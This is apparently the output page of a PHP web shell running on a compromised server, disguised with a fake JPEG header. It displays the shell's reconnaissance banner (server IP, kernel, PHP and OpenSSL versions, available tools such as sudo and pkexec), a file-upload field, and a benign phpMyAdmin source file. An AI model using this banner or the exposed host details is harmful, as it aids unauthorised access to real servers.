????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.191.44.139 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/phpmyadmin/libraries/plugins/ |
Upload File : |
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * The PluginManager class is used alongside PluginObserver to implement * the Observer Design Pattern. * * @package PhpMyAdmin */ if (! defined('PHPMYADMIN')) { exit; } /** * This class implements the SplSubject interface * * @todo implement all methods * @package PhpMyAdmin * @link http://php.net/manual/en/class.splsubject.php * */ class PluginManager implements SplSubject { /** * Contains a list with all the plugins that attach to it * * @var type SplObjectStorage */ private $_storage; /** * Contains information about the current plugin state * * @var type string */ private $_status; /** * Constructor * Initializes $_storage with an empty SplObjectStorage */ public function __construct() { $this->_storage = new SplObjectStorage(); } /** * Attaches an SplObserver so that it can be notified of updates * * @param SplObserver $observer The SplObserver to attach * * @return void */ function attach (SplObserver $observer ) { $this->_storage->attach($observer); } /** * Detaches an observer from the subject to no longer notify it of updates * * @param SplObserver $observer The SplObserver to detach * * @return void */ function detach (SplObserver $observer) { $this->_storage->detach($observer); } /** * It is called after setStatus() was run by a certain plugin, and has * the role of sending a notification to all of the plugins in $_storage, * by calling the update() method for each of them. * * @todo implement * @return void */ function notify () { } /* ~~~~~~~~~~~~~~~~~~~~ Getters and Setters ~~~~~~~~~~~~~~~~~~~~ */ /** * Gets the list with all the plugins that attach to it * * @return type SplObjectStorage */ public function getStorage() { return $this->_storage; } /** * Setter for $_storage * * @param SplObjectStorage $_storage the list with all the plugins that * attach to it * * @return void */ public function setStorage($_storage) { $this->_storage = $_storage; } /** * Gets the information about the current plugin state * It is called by all the plugins in $_storage in their update() method * * @return type mixed */ public function getStatus() { return $this->_status; } /** * Setter for $_status * If a plugin changes its status, this has to be remembered in order to * notify the rest of the plugins that they should update * * @param mixed $_status contains information about the current plugin state * * @return void */ public function setStatus($_status) { $this->_status = $_status; } } ?>